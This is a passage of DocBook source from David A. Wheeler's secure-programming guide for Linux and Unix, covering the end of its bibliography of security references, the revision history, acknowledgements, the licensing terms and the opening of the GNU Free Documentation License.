<emphasis remap="it">Overview of the GNU Project</emphasis>.
<ulink
url="http://www.gnu.ai.mit.edu/gnu/gnu-history.html">http://www.gnu.ai.mit.edu/gnu/gnu-history.html</ulink>
</para>

<para>
[FSF 1999]
Free Software Foundation.
January 11, 1999.
<emphasis remap="it">The GNU C Library Reference Manual</emphasis>.
Edition 0.08 DRAFT, for Version 2.1 Beta of the GNU C Library. 
Available at, for example,
<ulink url="http://www.netppl.fi/~pp/glibc21/libc_toc.html">http://www.netppl.fi/~pp/glibc21/libc_toc.html</ulink>
</para>

<para>
[Galvin 1998a]
Galvin, Peter.
April 1998.
``Designing Secure Software''.
<emphasis remap="it">Sunworld</emphasis>.
<ulink
url="http://www.sunworld.com/swol-04-1998/swol-04-security.html">http://www.sunworld.com/swol-04-1998/swol-04-security.html</ulink>.
</para>

<para>
[Galvin 1998b]
Galvin, Peter.
August 1998.
``The Unix Secure Programming FAQ''.
<emphasis remap="it">Sunworld</emphasis>.
<ulink
url="http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html">http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html</ulink>
</para>

<para>
[Garfinkel 1996]
Garfinkel, Simson and Gene Spafford.
April 1996.
<emphasis remap="it">Practical UNIX &amp; Internet Security, 2nd Edition</emphasis>.
ISBN 1-56592-148-8.
Sebastopol, CA: O'Reilly &amp; Associates, Inc. 
<ulink
url="http://www.oreilly.com/catalog/puis">http://www.oreilly.com/catalog/puis</ulink>
</para>

<para>
[Garfinkle 1997]
Garfinkle, Simson.
August 8, 1997.
21 Rules for Writing Secure CGI Programs.
<ulink url="http://webreview.com/wr/pub/97/08/08/bookshelf">
http://webreview.com/wr/pub/97/08/08/bookshelf</ulink>
</para>

<para>
[Graham 1999]
Graham, Jeff.
May 4, 1999.
<emphasis remap="it">Security-Audit's Frequently Asked Questions (FAQ)</emphasis>.
<ulink
url="http://lsap.org/faq.txt">http://lsap.org/faq.txt</ulink>
</para>

<para>
[Gong 1999]
Gong, Li.
June 1999.
<emphasis remap="it">Inside Java 2 Platform Security</emphasis>.
Reading, MA: Addison Wesley Longman, Inc.
ISBN 0-201-31000-7.
</para>

<para>
[Gundavaram Unknown]
Gundavaram, Shishir, and Tom Christiansen.
Date Unknown.
<emphasis remap="it">Perl CGI Programming FAQ</emphasis>.
<ulink
url="http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html">http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html</ulink>
</para>

<para>
[Hall "Beej" 1999]
Hall, Brian "Beej".
Beej's Guide to Network Programming Using Internet Sockets.
13-Jan-1999.
Version 1.5.5.
<ulink url="http://www.ecst.csuchico.edu/~beej/guide/net">http://www.ecst.csuchico.edu/~beej/guide/net</ulink>
</para>

<para>
[Jones 2000]
Jones, Jennifer.
October 30, 2000.
``Banking on Privacy''.
InfoWorld, Volume 22, Issue 44.
San Mateo, CA: International Data Group (IDG).
pp. 1-12.
</para>

<para>
[Kelsey 1998]
Kelsey, J., B. Schneier, D. Wagner, and C. Hall.
March 1998.
"Cryptanalytic Attacks on Pseudorandom Number Generators."
Fast Software Encryption, Fifth International Workshop Proceedings
(March 1998), Springer-Verlag, 1998, pp. 168-188.
<ulink url="http://www.counterpane.com/pseudorandom_number.html">
http://www.counterpane.com/pseudorandom_number.html</ulink>.
</para>

<para>
[Kernighan 1988]
Kernighan, Brian W., and Dennis M. Ritchie.
1988.
<emphasis remap="it">The C Programming Language</emphasis>.
Second Edition.
Englewood Cliffs, NJ: Prentice-Hall.
ISBN 0-13-110362-8.
</para>

<para>
[Kim 1996]
Kim, Eugene Eric.
1996.
<emphasis remap="it">CGI Developer's Guide</emphasis>.
SAMS.net Publishing.
ISBN: 1-57521-087-8
<ulink
url="http://www.eekim.com/pubs/cgibook">http://www.eekim.com/pubs/cgibook</ulink>
</para>

<para>
Kuchling [2000].
Kuchling, A.M.
2000.
Restricted Execution HOWTO.
<ulink url="http://www.python.org/doc/howto/rexec/rexec.html">http://www.python.org/doc/howto/rexec/rexec.html</ulink>
</para>

<para>
[McClure 1999]
McClure, Stuart, Joel Scambray, and George Kurtz.
1999.
<emphasis remap="it">Hacking Exposed: Network Security Secrets and Solutions</emphasis>.
Berkeley, CA: Osbourne/McGraw-Hill.
ISBN 0-07-212127-0.
</para>

<para>
[McKusick 1999]
McKusick, Marshall Kirk.
January 1999.
``Twenty Years of Berkeley Unix: From AT&amp;T-Owned to
Freely Redistributable.''
<emphasis remap="it">Open Sources: Voices from the Open Source Revolution</emphasis>.
<ulink
url="http://www.oreilly.com/catalog/opensources/book/kirkmck.html">http://www.oreilly.com/catalog/opensources/book/kirkmck.html</ulink>.
</para>

<para>
[McGraw 1999]
McGraw, Gary, and Edward W. Felten.
January 25, 1999.
Securing Java: Getting Down to Business with Mobile Code, 2nd Edition 
John Wiley &amp; Sons.
ISBN 047131952X.
<ulink url="http://www.securingjava.com">http://www.securingjava.com</ulink>.
</para>

<para>
[McGraw 2000a]
McGraw, Gary and John Viega.
March 1, 2000.
Make Your Software Behave: Learning the Basics of Buffer Overflows.
<ulink
url="http://www-4.ibm.com/software/developer/library/overflows/index.html">http://www-4.ibm.com/software/developer/library/overflows/index.html</ulink>.
</para>

<para>
[McGraw 2000b]
McGraw, Gary and John Viega.
April 18, 2000.
Make Your Software Behave: Software strategies
In the absence of hardware,
you can devise a reasonably secure random number generator through software.
<ulink url="http://www-106.ibm.com/developerworks/library/randomsoft/index.html?dwzone=security">http://www-106.ibm.com/developerworks/library/randomsoft/index.html?dwzone=security</ulink>.
</para>

<para>
[Miller 1995]
Miller, Barton P.,
David Koski, Cjin Pheow Lee, Vivekananda Maganty,
Ravi Murthy, Ajitkumar Natarajan, and Jeff Steidl.
1995.
Fuzz Revisited: A Re-examination of the Reliability of
UNIX Utilities and Services.
<ulink url="ftp://grilled.cs.wisc.edu/technical_papers/fuzz-revisited.pdf">ftp://grilled.cs.wisc.edu/technical_papers/fuzz-revisited.pdf</ulink>.
</para>

<para>
[Miller 1999]
Miller, Todd C. and Theo de Raadt.
``strlcpy and strlcat -- Consistent, Safe, String Copy and Concatenation''
<emphasis remap="it">Proceedings of Usenix '99</emphasis>.
<ulink
url="http://www.usenix.org/events/usenix99/millert.html">http://www.usenix.org/events/usenix99/millert.html</ulink> and
<ulink
url="http://www.usenix.org/events/usenix99/full_papers/millert/PACKING_LIST">http://www.usenix.org/events/usenix99/full_papers/millert/PACKING_LIST</ulink>
</para>

<para>
[Mudge 1995]
Mudge.
October 20, 1995.
<emphasis remap="it">How to write Buffer Overflows</emphasis>.
l0pht advisories.
<ulink
url="http://www.l0pht.com/advisories/bufero.html">http://www.l0pht.com/advisories/bufero.html</ulink>.
</para>

<para>
[NCSA]
NCSA Secure Programming Guidelines.
<ulink url="http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming">http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming</ulink>.
</para>

<para>
Neumann, Peter.
2000.
"Robust Nonproprietary Software."
Proceedings of the 2000 IEEE Symposium on Security and Privacy
(the ``Oakland Conference''), May 14-17, 2000, Berkeley, CA.
Los Alamitos, CA: IEEE Computer Society.
pp.122-123.
</para>


<para>
[Open Group 1997]
The Open Group.
1997.
<emphasis remap="it">Single UNIX Specification, Version 2 (UNIX 98)</emphasis>.
<ulink
url="http://www.opengroup.org/online-pubs?DOC=007908799">http://www.opengroup.org/online-pubs?DOC=007908799</ulink>.
</para>

<para>
[OSI 1999].
Open Source Initiative.
1999.
<emphasis remap="it">The Open Source Definition</emphasis>.
<ulink
url="http://www.opensource.org/osd.html">http://www.opensource.org/osd.html</ulink>.
</para>

<para>
[Opplinger 1998]
Oppliger, Rolf.
1998.
Internet and Intranet Security.
Norwood, MA: Artech House.
ISBN 0-89006-829-1.
</para>

<para>
[Peteanu 2000]
Peteanu, Razvan.
July 18, 2000.
Best Practices for Secure Web Development.
<ulink url="http://members.home.net/razvan.peteanu">http://members.home.net/razvan.peteanu</ulink>
</para>

<para>
[Pfleeger 1997]
Pfleeger, Charles P.
1997.
<emphasis remap="it">Security in Computing.</emphasis>
Upper Saddle River, NJ: Prentice-Hall PTR.
ISBN 0-13-337486-6.
</para>

<para>
[Phillips 1995]
Phillips, Paul.
September 3, 1995.
<emphasis remap="it">Safe CGI Programming</emphasis>.
<ulink
url="http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt">http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt</ulink>
</para>

<para>
[Quintero 1999]
Quintero, Federico Mena,
Miguel de Icaza, and Morten Welinder
GNOME Programming Guidelines
<ulink url="http://developer.gnome.org/doc/guides/programming-guidelines/book1.html">http://developer.gnome.org/doc/guides/programming-guidelines/book1.html</ulink>
<!-- http://developer.gnome.org/doc/guides/programming-guidelines/security.html -->
</para>

<para>
[Raymond 1997]
Raymond, Eric.
1997.
<emphasis remap="it">The Cathedral and the Bazaar</emphasis>.
<ulink
url="http://www.tuxedo.org/~esr/writings/cathedral-bazaar">http://www.tuxedo.org/~esr/writings/cathedral-bazaar</ulink>
</para>

<para>
[Raymond 1998]
Raymond, Eric.
April 1998.
<emphasis remap="it">Homesteading the Noosphere</emphasis>.
<ulink
url="http://www.tuxedo.org/~esr/writings/homesteading/homesteading.html">http://www.tuxedo.org/~esr/writings/homesteading/homesteading.html</ulink>
</para>

<para>
[Ranum 1998]
Ranum, Marcus J.
1998.
<emphasis remap="it">Security-critical coding for programmers -
a C and UNIX-centric full-day tutorial</emphasis>.
<ulink
url="http://www.clark.net/pub/mjr/pubs/pdf/">http://www.clark.net/pub/mjr/pubs/pdf/</ulink>.
</para>

<para>
[RFC 822]
August 13, 1982
<emphasis remap="it">Standard for the Format of ARPA Internet Text Messages</emphasis>.
IETF RFC 822.
<ulink
url="http://www.ietf.org/rfc/rfc0822.txt">http://www.ietf.org/rfc/rfc0822.txt</ulink>.
</para>

<para>
[rfp 1999]
rain.forest.puppy.
1999.
``Perl CGI problems''.
<emphasis remap="it">Phrack Magazine</emphasis>.
Issue 55, Article 07.
<ulink
url="http://www.phrack.com/search.phtml?view&amp;article=p55-7">http://www.phrack.com/search.phtml?view&amp;article=p55-7</ulink> or
<ulink url="http://www.insecure.org/news/P55-07.txt">http://www.insecure.org/news/P55-07.txt</ulink>.
</para>

<para>
[Rijmen 2000]
Rijmen, Vincent.
"LinuxSecurity.com Speaks With AES Winner".
<ulink url="http://www.linuxsecurity.com/feature_stories/interview-aes-3.html">http://www.linuxsecurity.com/feature_stories/interview-aes-3.html</ulink>.
</para>

<para>
[Rochkind 1985].
Rochkind, Marc J.
<emphasis>Advanced Unix Programming</emphasis>.
Englewood Cliffs, NJ: Prentice-Hall, Inc.
ISBN 0-13-011818-4.
</para>

<para>
[St. Laurent 2000]
St. Laurent, Simon.
February 2000.
<emphasis remap="it">XTech 2000 Conference Reports</emphasis>.
``When XML Gets Ugly''.
<ulink
url="http://www.xml.com/pub/2000/02/xtech/megginson.html">http://www.xml.com/pub/2000/02/xtech/megginson.html</ulink>.
</para>

<para>
[Saltzer 1974]
Saltzer, J.
July 1974.
``Protection and the Control of Information Sharing in MULTICS''.
<emphasis remap="it">Communications of the ACM</emphasis>.
v17 n7.
pp. 388-402.
</para>

<para>
[Saltzer 1975]
Saltzer, J., and M. Schroeder.
September 1975.
``The Protection of Information in Computing Systems''.
<emphasis remap="it">Proceedings of the IEEE</emphasis>.
v63 n9.
pp. 1278-1308.
<ulink
url="http://www.mediacity.com/~norm/CapTheory/ProtInf">http://www.mediacity.com/~norm/CapTheory/ProtInf</ulink>.
Summarized in [Pfleeger 1997, 286].
</para>

<para>
Schneider, Fred B.
2000.
"Open Source in Security: Visting the Bizarre."
Proceedings of the 2000 IEEE Symposium on Security and Privacy
(the ``Oakland Conference''), May 14-17, 2000, Berkeley, CA.
Los Alamitos, CA: IEEE Computer Society.
pp.126-127.
</para>

<para>
[Schneier 1996]
Schneier, Bruce.
1996.
<emphasis remap="it">Applied Cryptography, Second Edition:
Protocols, Algorithms, and Source Code in C</emphasis>.
New York: John Wiley and Sons.
ISBN 0-471-12845-7.
</para>

<para>
[Schneier 1998]
Schneier, Bruce and Mudge.
November 1998.
<emphasis remap="it">Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP)</emphasis>
Proceedings of the 5th ACM Conference on Communications and Computer Security,
ACM Press.
<ulink
url="http://www.counterpane.com/pptp.html">http://www.counterpane.com/pptp.html</ulink>.
</para>

<para>
[Schneier 1999]
Schneier, Bruce.
September 15, 1999.
``Open Source and Security''.
<emphasis remap="it">Crypto-Gram</emphasis>.
Counterpane Internet Security, Inc.
<ulink
url="http://www.counterpane.com/crypto-gram-9909.html">http://www.counterpane.com/crypto-gram-9909.html</ulink>
</para>

<para>
[Seifried 1999]
Seifried, Kurt.
October 9, 1999.
<emphasis remap="it">Linux Administrator's Security Guide</emphasis>.
<ulink
url="http://www.securityportal.com/lasg">http://www.securityportal.com/lasg</ulink>.
</para>

<para>
[Shankland 2000]
Shankland, Stephen.
``Linux poses increasing threat to Windows 2000''.
CNET.
<ulink
url="http://news.cnet.com/news/0-1003-200-1549312.html">http://news.cnet.com/news/0-1003-200-1549312.html</ulink>
</para>

<para>
[Shostack 1999]
Shostack, Adam.
June 1, 1999.
<emphasis remap="it">Security Code Review Guidelines</emphasis>.
<ulink
url="http://www.homeport.org/~adam/review.html">http://www.homeport.org/~adam/review.html</ulink>.
</para>

<para>
[Sibert 1996]
Sibert, W. Olin.
Malicious Data and Computer Security.
(NIST) NISSC '96.
<ulink url="http://www.fish.com/security/maldata.html">http://www.fish.com/security/maldata.html</ulink>
</para>

<para>
[Sitaker 1999]
Sitaker, Kragen.
Feb 26, 1999.
<emphasis remap="it">How to Find Security Holes</emphasis>
<ulink
url="http://www.pobox.com/~kragen/security-holes.html">http://www.pobox.com/~kragen/security-holes.html</ulink> and
<ulink
url="http://www.dnaco.net/~kragen/security-holes.html">http://www.dnaco.net/~kragen/security-holes.html</ulink>
</para>

<para>
[SSE-CMM 1999]
SSE-CMM Project.
April 1999.
<emphasis remap="it">System Security Engineering Capability Maturity Model (SSE CMM)
Model Description Document</emphasis>.
Version 2.0.
<ulink
url="http://www.sse-cmm.org">http://www.sse-cmm.org</ulink>
</para>

<para>
[Stein 1999].
Stein, Lincoln D.
September 13, 1999.
<emphasis remap="it">The World Wide Web Security FAQ</emphasis>.
Version 2.0.1
<ulink
url="http://www.w3.org/Security/Faq/www-security-faq.html">http://www.w3.org/Security/Faq/www-security-faq.html</ulink>
</para>

<para>
[Swan 2001]
Swan, Daniel.
January 6, 2001. 
comp.os.linux.security FAQ.
Version 1.0.
<ulink url="http://www.linuxsecurity.com/docs/colsfaq.html">http://www.linuxsecurity.com/docs/colsfaq.html</ulink>.
</para>

<para>
[Thompson 1974]
Thompson, K. and D.M. Richie.
July 1974.
``The UNIX Time-Sharing System''.
<emphasis remap="it">Communications of the ACM</emphasis>
Vol. 17, No. 7.
pp. 365-375.
<!-- Revised and reprinted in Ritchie 1978a; see Bach 1986 -->
</para>

<para>
[Torvalds 1999]
Torvalds, Linus.
February 1999.
``The Story of the Linux Kernel''.
<emphasis remap="it">Open Sources: Voices from the Open Source Revolution</emphasis>.
Edited by Chris Dibona, Mark Stone, and Sam Ockman.
O'Reilly and Associates.
ISBN 1565925823.
<ulink
url="http://www.oreilly.com/catalog/opensources/book/linus.html">http://www.oreilly.com/catalog/opensources/book/linus.html</ulink>
</para>

<para>
[Unknown]
<emphasis remap="it">SETUID(7)</emphasis>
<ulink
url="http://www.homeport.org/~adam/setuid.7.html">http://www.homeport.org/~adam/setuid.7.html</ulink>.
<!-- Claimed to be from Dan Farmer's COPS, but COPS does not include it. -->
</para>

<para>
[Van Biesbrouck 1996]
Van Biesbrouck, Michael.
April 19, 1996.
<ulink url="http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec">http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec</ulink>.
</para>

<para>
[van Oorschot 1994]
van Oorschot, P. and M. Wiener.
November 1994.
``Parallel Collision Search with Applications to Hash Functions
and Discrete Logarithms.''
Proceedings of ACM Conference on Computer and Communications Security.
</para>

<para>
[Venema 1996]
Venema, Wietse.
1996.
Murphy's law and computer security.
<ulink url="http://www.fish.com/security/murphy.html">http://www.fish.com/security/murphy.html</ulink>
</para>

<para>
[Watters 1996]
Watters, Arron, Guido van Rossum, James C. Ahlstrom.
1996.
Internet Programming with Python.
NY, NY: Henry Hold and Company, Inc.
</para>

<para>
[Wood 1985]
Wood, Patrick H. and Stephen G. Kochan.
1985.
<emphasis remap="it">Unix System Security</emphasis>.
Indianapolis, Indiana: Hayden Books.
ISBN 0-8104-6267-2.
</para>

<para>
[Wreski 1998]
Wreski, Dave.
August 22, 1998.
<emphasis remap="it">Linux Security Administrator's Guide</emphasis>.
Version 0.98.
<ulink
url="http://www.nic.com/~dave/SecurityAdminGuide/index.html">http://www.nic.com/~dave/SecurityAdminGuide/index.html</ulink>
</para>

<para>
[Yoder 1998]
Yoder, Joseph and Jeffrey Barcalow.
1998.
Architectural Patterns for Enabling Application Security.
PLoP '97
<ulink url="http://st-www.cs.uiuc.edu/~hanmer/PLoP-97/Proceedings/yoder.pdf">
http://st-www.cs.uiuc.edu/~hanmer/PLoP-97/Proceedings/yoder.pdf</ulink>
</para>

<para>
[Zoebelein 1999]
Zoebelein, Hans U.
April 1999.
The Internet Operating System Counter.
<ulink url="http://www.leb.net/hzo/ioscount">http://www.leb.net/hzo/ioscount</ulink>.
</para>

</chapter>

<appendix id="document-history">
<title>History</title>
<para>
Here are a few key events in the development of this book, starting
from most recent events:

<variablelist>
<varlistentry><term>
2001-01-01 David A. Wheeler
</term>
<listitem>
<para>
Version 2.70 released, adding a significant amount of additional material,
such as a significant expansion of the discussion of cross-site
malicious content, HTML/URI filtering, and handling temporary files.
</para>
</listitem>
</varlistentry>

<varlistentry><term>
2000-05-24 David A. Wheeler
</term>
<listitem>
<para>
Switched to GNU's GFDL license, added more content.
</para>
</listitem>
</varlistentry>

<varlistentry><term>
2000-04-21 David A. Wheeler
</term>
<listitem>
<para>
Version 2.00 released, dated 21 April 2000, which switching the
document's internal format from the Linuxdoc DTD to the DocBook DTD.
Thanks to Jorge Godoy for helping me perform the transition.
</para>
</listitem>
</varlistentry>


<varlistentry><term>
2000-04-04 David A. Wheeler
</term>
<listitem>
<para>
Version 1.60 released;
changed so that it now covers <emphasis>both</emphasis> Linux and Unix.
Since most of the guidelines covered both, and many/most app developers want
their apps to run on both, it made sense to cover both.
</para>
</listitem>
</varlistentry>

<varlistentry><term>
2000-02-09 David A. Wheeler
</term>
<listitem>
<para>
Noted that the document is now part of the Linux Documentation Project (LDP).
</para>
</listitem>
</varlistentry>

<varlistentry><term>
1999-11-29 David A. Wheeler
</term>
<listitem>
<para>
Initial version (1.0) completed and released to the public.
</para>
</listitem>
</varlistentry>

</variablelist>
</para>

<para>
Note that a more detailed description of changes is available on-line
in the ``ChangeLog'' file.
</para>
</appendix>

<appendix id="acknowledgements">
<title>Acknowledgements</title>

<epigraph>
<attribution>Proverbs 27:17 (NIV)</attribution>
<para>
As iron sharpens iron, so one man sharpens another.
</para>
</epigraph>

<para>
My thanks to the following people who kept me honest by sending me emails
noting errors, suggesting areas to cover, asking questions, and so on.
Where email addresses are included, they've been
shrouded by prepending my ``thanks.'' so bulk emailers
won't easily get these addresses; inclusion of people in this list is
<emphasis>not</emphasis> an authorization to send
unsolicited bulk email to them.

<itemizedlist>
<listitem><para>
Neil Brown (thanks.neilb@cse.unsw.edu.au)
</para></listitem>

<listitem><para>
Martin Douda (thanks.mad@students.zcu.cz)
</para></listitem>

<listitem><para>
Jorge Godoy
</para></listitem>

<listitem><para>
Scott Ingram (thanks.scott@silver.jhuapl.edu)
</para></listitem>

<listitem><para>
Michael Kerrisk
</para></listitem>

<listitem><para>
Doug Kilpatrick
</para></listitem>

<listitem><para>
John Levon (moz@compsoc.man.ac.uk)
</para></listitem>

<listitem><para>
Ryan McCabe (thanks.odin@numb.org)
</para></listitem>

<listitem><para>
Paul Millar (thanks.paulm@astro.gla.ac.uk)
</para></listitem>

<listitem><para>
Chuck Phillips (thanks.cdp@peakpeak.com)
</para></listitem>

<listitem><para>
Martin Pool (thanks.mbp@humbug.org.au)
</para></listitem>

<listitem><para>
Eric S. Raymond (thanks.esr@snark.thyrsus.com)
</para></listitem>

<listitem><para>
Marc Welz
</para></listitem>

<listitem><para>
Eric Werme (thanks.werme@alpha.zk3.dec.com)
</para></listitem>

</itemizedlist>

</para>

<para>
If you want to be on this list, please send me a constructive suggestion at
<ulink
url="mailto:dwheeler@dwheeler.com">dwheeler@dwheeler.com</ulink>.
If you send me a constructive suggestion, but do <emphasis remap="it">not</emphasis> want credit,
please let me know that when you send your suggestion, comment, or
criticism; normally I expect that people want credit, and I want to give
them that credit.
My current process is to add contributor names to this list in the document,
with more detailed explanation of their comment in the ChangeLog for
this document (available on-line).
Note that although these people have sent in ideas, the actual text is my own,
so don't blame them for any errors that may remain.
Instead, please send me another constructive suggestion.
</para>

</appendix>

<appendix id="about-license">
<title>About the Documentation License</title>

<epigraph>
<attribution>Esther 3:14 (NIV)</attribution>
<para>
A copy of the text of the edict was to be issued as law
in every province and made known to the people of every
nationality so they would be ready for that day.
</para>
</epigraph>

<para>
This document is Copyright (C) 1999-2000 David A. Wheeler.
Permission is granted to copy, distribute and/or modify
this document under the terms of the GNU Free Documentation License (FDL),
Version 1.1 or any later version published by the Free Software Foundation;
with the invariant sections being ``About the Author'',
with no Front-Cover Texts, and no Back-Cover texts.
A copy of the license is included below in
<xref linkend="fdl">.
</para>

<para>
These terms do permit mirroring by other web sites,
but be <emphasis remap="it">sure</emphasis> to do the following:

<itemizedlist>
<listitem>

<para>
make sure your mirrors automatically get upgrades from the master site,
</para>
</listitem>
<listitem>
<para>
clearly show the location of the master site
(<ulink
url="http://www.dwheeler.com/secure-programs">http://www.dwheeler.com/secure-programs</ulink>), with a hypertext link
to the master site, and
</para>
</listitem>

<listitem>
<para>
give me (David A. Wheeler) credit as the author.
</para>
</listitem>

</itemizedlist>

</para>

<para>
The first two points primarily protect me from repeatedly hearing about
obsolete bugs.
I do not want to hear about bugs I fixed a year ago, just because you
are not properly mirroring the document.
By linking to the master site,
users can check and see if your mirror is up-to-date.
I'm sensitive to the problems of sites which have very
strong security requirements and therefore cannot risk normal
connections to the Internet; if that describes your situation,
at least try to meet the other points
and try to occasionally sneakernet updates into your environment.
</para>

<para>
By this license, you may modify the document,
but you can't claim that what you didn't write is yours (i.e., plagerism)
nor can you pretend that a modified version is identical to
the original work.
Modifying the work does not transfer copyright of the entire work to you;
this is not a ``public domain'' work in terms of copyright law.
See the license in <xref linkend="fdl"> for details.
If you have questions about what the license allows, please contact me.
In most cases, it's better if you send your changes to the master
integrator (currently David A. Wheeler), so that your changes will be
integrated with everyone else's changes into the master copy.
</para>

<para>
I am not a lawyer, nevertheless, it's my position as an author
and software developer that any code fragments
not explicitly marked otherwise are so small that their use fits under
the ``fair use'' doctrine in copyright law.
In other words, unless marked otherwise, you can use the code fragments
without any restriction at all.
Copyright law does not permit copyrighting absurdly small components
of a work
(e.g., ``I own all rights to B-flat and B-flat minor chords''), and
the fragments not marked otherwise are of the same kind of miniscule
size when compared to real programs.
I've done my best to give credit for specific pieces of code
written by others.
Some of you may still be concerned about the legal status of this code,
and I want make sure that it's clear
that you can use this code in your software.
Therefore, code fragments included directly in this document not otherwise
marked have also been released by me under the terms of the ``MIT license'',
to ensure you that there's no serious legal encumberance:
</para>

<programlisting width="66">
  Source code in this book not otherwise identified is
  Copyright (c) 1999-2001 David A. Wheeler.

  Permission is hereby granted, free of charge, to any person
  obtaining a copy of the source code in this book not
  otherwise identified (the "Software"), to deal in the
  Software without restriction, including without limitation
  the rights to use, copy, modify, merge, publish, distribute,
  sublicense, and/or sell copies of the Software, and to
  permit persons to whom the Software is furnished to do so,
  subject to the following conditions:

  The above copyright notice and this permission notice shall be
  included in all copies or substantial portions of the Software.

  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
  EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
  WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
  PURPOSE AND NONINFRINGEMENT.
  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
  LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
  WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
  ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
  OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
</programlisting>

</appendix>


<!-- Previously it had label="A" -->
<appendix id="fdl">
  <title>GNU Free Documentation License</title>
  <para>
    Version 1.1, March 2000
  </para>
  
  <para>
    Copyright &copy; 2000 
    <address>
      Free Software Foundation, Inc. 
      <street>59 Temple Place, Suite 330</street>, 
      <city>Boston</city>, 
      <state>MA</state>  
      <postcode>02111-1307</postcode>  
      <country>USA</country>
    </address> 
    Everyone is permitted to copy and distribute verbatim copies of this license
    document, but changing it is not allowed.
  </para>
  
  <variablelist>
    <varlistentry id="fdl-preamble">
      <term>0. PREAMBLE</term>
      <listitem>
	<para>
	  The purpose of this License is to make a manual, textbook, or other
	  written document "free" in the sense of freedom: to assure everyone
	  the effective freedom to copy and redistribute it, with or without
	  modifying it, either commercially or noncommercially. Secondarily,
	  this License preserves for the author and publisher a way to get
	  credit for their work, while not being considered responsible for
	  modifications made by others.
	</para>
	
	<para>
	  This License is a kind of "copyleft", which means that derivative
	  works of the document must themselves be free in the same sense. It
	  complements the GNU General Public License, which is a copyleft
	  license designed for free software.
	</para>
	
	<para>
	  We have designed this License in order to use it for manuals for free
	  software, because free software needs free documentation: a free
	  program should come with manuals providing the same freedoms that the
	  software does. But this License is not limited to software manuals; it
	  can be used for any textual work, regardless of subject matter or
	  whether it is published as a printed book. We recommend this License
	  principally for works whose purpose is instruction or reference.
	</para>
      </listitem>
    </varlistentry>
    <varlistentry id="fdl-section1">
      <term>1. APPLICABILITY AND DEFINITIONS</term>
      <listitem>
	<para id="fdl-document">
	  This License applies to any manual or other work that contains a
	  notice placed by the copyright holder saying it can be distributed
	  under the terms of this License. The <link
	  linkend="fdl-document">"Document" </link>, below, refers to any such
	  manual or work. Any member of the public is a licensee, and is
	  addressed as "you".
	</para>
	
	<para id="fdl-modified">
	  A <link linkend="fdl-modified">"Modified Version"</link> of the
	  Document means any work containing the Document or a portion of it,
	  either copied verbatim, or with modifications and/or translated into
	  another language.
	</para>
	
	<para id="fdl-secondary">
	  A <link linkend="fdl-secondary">"Secondary Section"</link> is a named
	  appendix or a front-matter section of the <link
	  linkend="fdl-document">Document</link> that deals exclusively with the
	  relationship of the publishers or authors of the <link
	  linkend="fdl-document"> Document</link> to the <link
	  linkend="fdl-document"> Document's</link> overall subject (or to
	  related matters) and contains nothing that could fall directly within
	  that overall subject. (For example, if the <link
	  linkend="fdl-document">Document</link> is in part a textbook of
	  mathematics, a <link linkend="fdl-secondary">Secondary Section</link>
	  may not explain any mathematics.)  The relationship could be a matter
	  of historical connection with the subject or with related matters, or
	  of legal, commercial, philosophical, ethical or political position
	  regarding them.
	</para>

	<para id="fdl-invariant">
	  The <link linkend="fdl-invariant">"Invariant Sections"</link> are
	  certain <link linkend="fdl-secondary"> Secondary Sections</link> whose
	  titles are designated, as being those of <link
	  linkend="fdl-invariant">Invariant Sections</link>, in the notice that
	  says that the <link linkend="fdl-document">Document</link> is released
	  under this License.
	</para>

	<para id="fdl-cover-texts">
	  The <link linkend="fdl-cover-texts">"Cover Texts"</link> are certain
	  short passages of text that are listed, as <link
	  linkend="fdl-cover-texts">Front-Cover Texts</link> or <link
	  linkend="fdl-cover-texts">Back-Cover Texts</link>, in the notice that
	  says that the <link linkend="fdl-document">Document</link> is released
	  under this License.
	</para>
	
	<para id="fdl-transparent">
	  A <link linkend="fdl-transparent">"Transparent"</link> copy of the
	  <link linkend="fdl-document"> Document</link> means a machine-readable
	  copy, represented in a format whose specification is available to the
	  general public, whose contents can be viewed and edited directly and
	  straightforwardly with generic text editors or (for images composed of
	  pixels) generic paint programs or (for drawings) some widely available
	  drawing editor, and that is suitable for input to text formatters or
	  for automatic translation to a variety of formats suitable for input
	  to text formatters. A copy made in an otherwise <link
	  linkend="fdl-transparent"> Transparent</link> file format whose markup
	  has been designed to thwart or discourage subsequent modification by
	  readers is not <link linkend="fdl-transparent">Transparent</link>.  A
	  copy that is not <link linkend="fdl-transparent">"Transparent"</link>
	  is called "Opaque".
	</para>
	
	<para>
	  Examples of suitable formats for <link
	  linkend="fdl-transparent">Transparent</link> copies include plain
	  ASCII without markup, Texinfo input format, LaTeX input format, SGML
	  or XML using a publicly available DTD, and standard-conforming simple
	  HTML designed for human modification. Opaque formats include
	  PostScript, PDF, proprietary formats that can be read and edited only
	  by proprietary word processors, SGML or XML for which the DTD and/or
	  processing tools are not generally available, and the
	  machine-generated HTML produced by some word processors for output
	  purposes only.
	</para>
	
	<para id="fdl-title-page">
	  The <link linkend="fdl-title-page">"Title Page"</link> means, for a
	  printed book, the title page itself, plus such following pages as are
	  needed to hold, legibly, the material this License requires to appear
	  in the title page. For works in formats which do not have any title
	  page as such, <link linkend="fdl-title-page"> "Title Page"</link>
	  means the text near the most prominent appearance of the work's title,
	  preceding the beginning of the body of the text.
	</para>
      </listitem>
    </varlistentry>
    
    <varlistentry id="fdl-section2">
      <term>2. VERBATIM COPYING</term>
      <listitem>
	<para>
	  You may copy and distribute the <link
	  linkend="fdl-document">Document</link> in any medium, either
